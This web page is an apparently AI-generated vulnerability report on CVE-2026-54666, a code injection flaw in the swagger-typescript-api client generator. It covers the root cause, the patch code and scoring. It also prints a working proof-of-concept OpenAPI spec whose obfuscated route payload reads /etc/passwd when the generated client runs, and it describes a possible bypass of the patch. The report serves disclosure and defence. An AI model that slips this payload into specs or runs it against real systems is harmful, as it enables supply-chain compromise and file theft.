CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-54666

CVE-2026-54666: Remote Code Execution via OpenAPI Route Path Injection in swagger-typescript-api

Amit Schendel
Amit Schendel
Senior Security Researcher

Jul 29, 2026·6 min read·267 visits

Executive Summary (TL;DR)

The swagger-typescript-api code generator fails to sanitize route paths. An attacker can craft a malicious OpenAPI specification with embedded JavaScript in a route path to execute arbitrary code when the generated API client is run.

CVE-2026-54666 identifies a high-severity code injection vulnerability in the swagger-typescript-api code generator library. The library fails to sanitize route paths parsed from OpenAPI Specification (OAS) documents before interpolating them into generated TypeScript and JavaScript client code. When a developer processes a compromised or malicious OpenAPI specification file, the library writes unescaped string literals and dynamic execution blocks directly into backtick template literals. When the generated client's corresponding API method is executed, the embedded JavaScript executes dynamically with the privileges of the active process.

Vulnerability Overview

The library swagger-typescript-api is an open-source tool utilized to automate the generation of typed API clients (using either Fetch or Axios) from OpenAPI Specification files. To generate clients, the tool parses paths, schemas, and query parameters, and maps them to client procedures using EJS templates. This generation phase constitutes an administrative and build-time attack surface.

Because the generation process assumes the input OpenAPI Specification is trusted, it processes route keys directly from the JSON/YAML structure. If an external entity can control or manipulate the OpenAPI schema used by developers or automated CI/CD pipelines, they gain control over the code generation process. This threat profile targets the build chain and developer workstations.

The vulnerability is classified under CWE-94 (Improper Control of Generation of Code), CWE-74 (Improper Neutralization of Special Elements in Output), and CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine). The lack of input sanitization propagates structural injection vulnerabilities from the design schema directly into execution contexts.

Root Cause Analysis

The root cause of CVE-2026-54666 lies within src/schema-routes/schema-routes.ts. When processing endpoints, the parser reads the keys of the paths object, which represent the API routes (for example, /users/{id}). The generator performs a substitution loop to convert path parameters from OpenAPI curly-brace format ({id}) to JavaScript template literal syntax (${id}).

Apart from this isolated path parameter replacement, the raw string defining the route path was historically written directly to EJS templates without escaping. The default and modular templates (templates/default/procedure-call.ejs and templates/modular/procedure-call.ejs) utilize backticks to enclose the resulting URI path string.

Because backticks, backslashes, and target evaluation sequences (${) were not sanitized, any user-supplied string containing these characters was written raw into the output files. When the JavaScript engine evaluates the backtick literal during client runtime, any embedded expression of the form ${expression} is processed as code and executed immediately by the runtime interpreter.

Code-Level Patch Analysis

The patch implemented in version 13.12.2 introduces an escaping step for JavaScript template literals before the parameters are processed in the route definitions.

Below is the comparison of the vulnerable logic versus the patched logic within src/schema-routes/schema-routes.ts and the new utility function introduced:

// Patched: New utility src/util/escape-js-template-literal-with-path-params.ts
/**
 * Escapes backslashes, backticks, and template literal starts for JS strings
 */
export function escapeJsTemplateLiteralStatic(value: string): string {
  return value
    .replace(/\\/g, "\\\\")
    .replace(/`/g, "\\`")
    .replace(/\$\{/g, "\\${");
}

The implementation integrates into the schema parsing lifecycle as shown below:

// Vulnerable Code Path:
// The raw path was passed directly into parameter reduction
let fixedRoute = pathParams.reduce((fixedRoute, pathParam) => {
  return fixedRoute.replace(pathParam.$match, `\${${pathParam.name}}`);
}, routeName); // routeName was unescaped
 
// Patched Code Path (Commit 306d59acb8ffbb00f953f807b97234b21f51d9de):
// The routeName is escaped first, preserving safely formatted parameter markers
const escapedRouteName = escapeJsTemplateLiteralStatic(routeName || "");
 
let fixedRoute = pathParams.reduce((fixedRoute, pathParam, i, arr) => {
  const insertion =
    this.config.hooks.onInsertPathParam(
      pathParam.name,
      pathParam.$match,
      i,
      arr,
      fixedRoute,
    ) || pathParam.name;
  // Safe substitution occurs after base escaping
  return fixedRoute.replace(pathParam.$match, `\${${insertion}}`);
}, escapedRouteName);

By executing escapeJsTemplateLiteralStatic on the raw route key prior to injecting parameters, any pre-existing executable ${ blocks or backticks within the OpenAPI path key are safely neutralised by prepending backslashes.

Exploitation Methodology

Exploitation requires hosting or delivering a manipulated OpenAPI specification containing a payload inside a path key. An attacker embeds an Immediately Invoked Function Expression (IIFE) within the path parameters.

Consider the following structured proof-of-concept OpenAPI Specification payload designed to read sensitive files on a Unix system:

{
  "openapi": "3.0.0",
  "info": { "title": "InjectedAPI", "version": "1.0.0" },
  "paths": {
    "/api/${\(async\(\)=>{try{const m=Buffer.from(\"bm9kZTpmcw==\",\"base64\").toString();const f=await import\(m\);const d=f.readFileSync\(\"/etc/passwd\",\"utf8\"\);f.writeFileSync\(\"/tmp/pwned\",d\);}catch\(e\){}return\ \"x\";}\)\(\)}/data": {
      "get": {
        "operationId": "triggerRce",
        "responses": { "200": { "description": "Success" } }
      }
    }
  }
}

When a developer processes this document using swagger-typescript-api < 13.12.2, the output file generates the following statement:

triggerRce = (params: RequestParams = {}) =>
  this.request<any, any>({
    path: `/api/${(async()=> { ... })()}/data`,
    method: "GET",
    ...params,
  });

When triggerRce() is invoked by the application code, the backtick template is evaluated by the runtime engine (such as Node.js or a browser environment). The IIFE executes immediately, resolving the standard library node:fs, reading local system files, and writing them to the temporary directory.

Impact and Attack Vector Scope

The execution impact depends entirely on the environment hosting the generated API client. If the generated client is integrated into a backend Node.js application, the injected code runs with the operational permissions of the Node.js process. This can result in arbitrary command execution, local file system modification, access to system environment variables, or remote exfiltration of credentials.

If the client is built into a browser application via bundlers (such as Webpack, Vite, or Esbuild), the payload executes inside the browser of users accessing the front end. This can lead to session hijacking, data exfiltration, or defacement of the application context.

The vector has a CVSS base score of 8.3. The Attack Complexity is classified as High (AC:H) because exploitation depends on a user pulling an untrusted specification file and invoking the output function. However, the scope is Changed (S:C) because exploitation of the compiler tool compromises downstream client services.

Detailed Patch Completeness Analysis

While the patch effectively prevents direct exploitation through standard path interpolation, a deep code review reveals minor residual risks that may persist in edge configurations.

The regular expression utilized by the tool to locate path parameters is defined as /({[\w[\\\]^][-_.\w]*})/g. This regular expression explicitly permits backticks (`` ``) and backslashes (\) inside parameter names.

Because the escaping utility escapeJsTemplateLiteralStatic is applied to the raw route path before the path parameters are substituted, if a parameter is defined with a name like &#123;myinject}`, the subsequent replacement operation can reintroduce unescaped backticks into the final generated template literal. This risk is minimized because parameter names are typically validated structurally, but it constitutes a potential bypass if the parameter definitions themselves are not properly restricted.

Official Patches

acacodeSecurity advisory and patch documentation
acacodePull request addressing template literal injection
acacodeOfficial patch release v13.12.2

Fix Analysis (1)

Technical Appendix

CVSS Score
8.3/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Systems

swagger-typescript-api npm package versions prior to 13.12.2

Affected Versions Detail

Product
Affected Versions
Fixed Version
swagger-typescript-api
acacode
< 13.12.213.12.2
AttributeDetail
CWE IDCWE-94 / CWE-1336
Attack VectorNetwork (AV:N)
CVSS v3.1 Score8.3
Exploit StatusProof-of-Concept
CISA KEV StatusNot Listed
Ecosystemnpm

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1203Exploitation for Client Execution
Execution
CWE-94
Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Known Exploits & Detection

GitHub Security AdvisoryExploit and proof of concept detailing template injection in path parameters.

Vulnerability Timeline

Pull request #1779 initiated and security patch finalized.
2026-06-08
Patch released in version 13.12.2.
2026-06-08
CVE-2026-54666 officially assigned and published.
2026-07-29

References & Sources

  • [1]GitHub Security Advisory GHSA-w284-33mx-6g9v
  • [2]GitHub Pull Request #1779
  • [3]Fix Commit 306d59a
  • [4]CVE-2026-54666 Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•CVE-2026-63304
8.1

CVE-2026-63304: OS Command Injection in WWBN AVideo via listFFmpegProcesses

WWBN AVideo versions through 29.0 contain an OS command injection vulnerability (CWE-78) in the standalone API utility function listFFmpegProcesses(). The function constructs a shell pipeline to monitor active FFmpeg processes by interpolating a user-controlled keyword parameter directly into a single-quoted grep argument without sanitization or shell escaping. An attacker capable of crafting or submitting a valid encrypted codeToExec payload can break out of the single-quoted argument context and execute arbitrary operating system commands with the privileges of the web server user.

Alon Barad
Alon Barad
3 views•9 min read
•about 3 hours ago•CVE-2026-59726
10.0

CVE-2026-59726: Unauthenticated Remote Code Execution in Ruflo MCP Bridge

Ruflo versions prior to 3.16.3 expose the Model Context Protocol (MCP) bridge HTTP endpoints (`POST /mcp` and `POST /mcp/:group`) on all network interfaces (`0.0.0.0:3001`) without authentication. Because the primary JSON-RPC tool dispatcher (`executeTool()`) bypasses existing tool blocklists, an unauthenticated network attacker can invoke the `terminal_execute` tool to achieve arbitrary command execution inside the bridge container. This initial access permits full exfiltration of third-party LLM provider API keys, unauthorized access to the co-located MongoDB instance, and manipulation of the AgentDB learning store.

Alon Barad
Alon Barad
6 views•2 min read
•about 4 hours ago•CVE-2026-59818
6.5

CVE-2026-59818: Improper Certificate Revocation List (CRL) Validation on Split gRPC Listeners in etcd

In etcd versions prior to 3.5.32 and 3.6.13, configuring the server with --listen-client-http-urls decouples HTTP and gRPC traffic onto distinct network listeners. Due to an implementation flaw in how TLS configurations are passed to the gRPC server instance, the Certificate Revocation List (CRL) defined by --client-crl-file is enforced exclusively on the HTTP listener and omitted entirely on the dedicated gRPC listener. This allows an adversary possessing a revoked, CA-signed client certificate to bypass mutual TLS (mTLS) revocation checks and authenticate directly to the gRPC interface.

Amit Schendel
Amit Schendel
6 views•10 min read
•about 5 hours ago•CVE-2026-59831
4.4

CVE-2026-59831: Remote Code Execution via Unvalidated URL Scheme Handling in GitHub CLI

GitHub CLI (gh) versions 2.10.0 through 2.95.0 contain an input validation vulnerability in the `gh codespace jupyter` command path. When connecting to a remote Codespace to launch a JupyterLab session, the CLI retrieves a server URL via a remote procedure call (RPC) and passes it directly to the host operating system's default URL dispatcher without validating the scheme or target host. A compromised or malicious Codespace can return a custom protocol URI, such as `vscode://` or `vscode-insiders://`, allowing an attacker to invoke local desktop application handlers and achieve arbitrary command execution on the developer's workstation.

Alon Barad
Alon Barad
11 views•9 min read
•about 6 hours ago•CVE-2026-59191
6.9

CVE-2026-59191: Path Traversal and Arbitrary File Read in CakePHP TwigView FileLoader

A path traversal vulnerability exists in the cakephp/twig-view plugin for the CakePHP framework prior to versions 1.3.3 and 2.1.2. The Cake\TwigView\Twig\FileLoader::findTemplate() method verifies template existence using PHP's native file_exists() function without ensuring the target path resides within configured application or plugin template directories. When user-controlled input is passed to template inclusion mechanisms, an unauthenticated remote attacker can read arbitrary local files accessible to the PHP runtime.

Alon Barad
Alon Barad
5 views•9 min read
•about 7 hours ago•CVE-2026-64855
8.2

CVE-2026-64855: Cryptographic Signature Verification Bypass in soapbar WS-Security Implementation

CVE-2026-64855 (GHSA-859w-52fx-hcm6) is a cryptographic signature verification and authentication bypass vulnerability in the soapbar Python library prior to version 0.13.0. In vulnerable versions, the verify_envelope_bsp() function derives its trust anchor directly from the incoming SOAP message by extracting an untrusted X.509 certificate embedded inside the wsse:BinarySecurityToken header. Because the function checks only the temporal validity of the extracted certificate without performing Certificate Authority (CA) chain validation or certificate pinning, an unauthenticated network attacker can generate a self-signed certificate, sign an arbitrary SOAP payload, and pass verification.

Amit Schendel
Amit Schendel
9 views•10 min read